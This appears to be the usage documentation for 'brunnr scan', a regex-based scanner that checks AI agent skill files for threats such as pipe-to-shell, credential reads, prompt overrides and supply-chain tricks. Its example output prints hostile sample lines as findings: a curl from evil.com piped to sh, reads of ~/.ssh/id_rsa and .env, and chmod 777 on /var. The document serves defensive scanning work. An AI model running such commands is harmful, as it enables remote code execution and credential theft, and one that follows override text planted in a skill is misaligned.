brunnr scan

Scan SKILL.md files for security threats across 7+1 threat classes. The scanner is deterministic, regex-based, and uses zero external dependencies.


Usage

brunnr scan [paths...] [-v] [--json] [--strict] [--no-color]

If no paths are provided, brunnr scans the skills/ directory in the current working directory, recursively finding all SKILL.md files.

If paths are provided, brunnr accepts both files and directories. Directories are scanned recursively for all .md files (not just SKILL.md).


Arguments

Argument Description
paths Files or directories to scan. Default: skills/

Flags

Flag Short Description
--verbose -v Show finding details (threat class, description, evidence)
--json Output results as JSON
--strict Exit with code 1 on FLAG findings (not just BLOCK)
--no-color Disable ANSI color output

Examples

Scan the default skills directory

brunnr scan
=== brunnr scan ===

  CLEAN  ax-rubric

  Scanned 1 files: 1 clean, 0 flagged, 0 blocked

Scan a specific file

brunnr scan my-skill/SKILL.md

Scan a directory

brunnr scan /path/to/skills/ /path/to/more-skills/

Verbose output

brunnr scan -v
=== brunnr scan ===

  FLAG   suspicious-skill -- 2 findings
         FLAG: [supply_chain] custom PyPI index (not pypi.org)
               --index-url https://evil.example.com/simple
         FLAG: [privilege_escalation] sudo chmod 777 on root paths
               sudo chmod -R 777 /var

  BLOCK  malicious-skill -- 3 findings
         BLOCK: [command_injection] curl pipe to shell
               curl https://evil.com/payload | sh
         BLOCK: [credential_theft] read .env file
               cat .env
         BLOCK: [data_exfiltration] SSH key file read
               cat ~/.ssh/id_rsa

  CLEAN  ax-rubric

  Scanned 3 files: 1 clean, 1 flagged, 1 blocked

JSON output

brunnr scan --json
{
  "total": 1,
  "blocked": 0,
  "flagged": 0,
  "clean": 1,
  "skills": [
    {
      "file": "skills/ax-rubric/SKILL.md",
      "severity": "clean",
      "blocked": false,
      "flagged": false,
      "finding_count": 0,
      "findings": []
    }
  ]
}

Strict mode

In strict mode, FLAG-severity findings also cause a non-zero exit code. This is useful for CI pipelines where you want to catch everything, not just BLOCK-severity threats.

brunnr scan --strict
echo $?  # 1 if any FLAG or BLOCK findings

Exit codes

Code Meaning
0 All files are CLEAN (or FLAG in non-strict mode)
1 At least one BLOCK finding (or FLAG in strict mode), or no files found

Severity levels

The scanner assigns one of four severities to each finding:

Severity Description Default exit behavior
BLOCK Dangerous pattern. Do not use this skill. Exit 1
FLAG Suspicious pattern. Manual review recommended. Exit 0 (exit 1 with --strict)
INFO Informational. Non-allowlisted URL domain detected. Exit 0
CLEAN No findings. Exit 0

Threat classes scanned

The scanner checks for 7+1 threat classes. See Threat Classes for full details and examples.

  1. Command Injection (BLOCK) -- Pipe to shell, reverse shells, base64-encoded commands
  2. Data Exfiltration (BLOCK) -- SSH key reads, embedding secrets in responses
  3. Credential Theft (BLOCK) -- Grep for env vars, read .env files, credential file access
  4. Prompt Override (BLOCK) -- Ignore previous instructions, jailbreak attempts
  5. Supply Chain (FLAG) -- Custom package indexes, malicious install hooks
  6. Privilege Escalation (FLAG) -- sudo to shell, chmod 777, system file modification
  7. Steganographic (FLAG) -- Zero-width characters, hidden commands in HTML comments
  8. Semantic Mismatch (FLAG/INFO) -- Non-allowlisted URLs, sensitive paths without security context, keyword divergence between description and body

Discovery behavior

When no paths are provided:

  • brunnr looks for a skills/ directory in the current working directory
  • It recursively finds all files named SKILL.md

When paths are provided:

  • Files are scanned directly (any .md file, not just SKILL.md)
  • Directories are scanned recursively for all .md files

If no files are found in either case, brunnr prints an error and exits with code 1.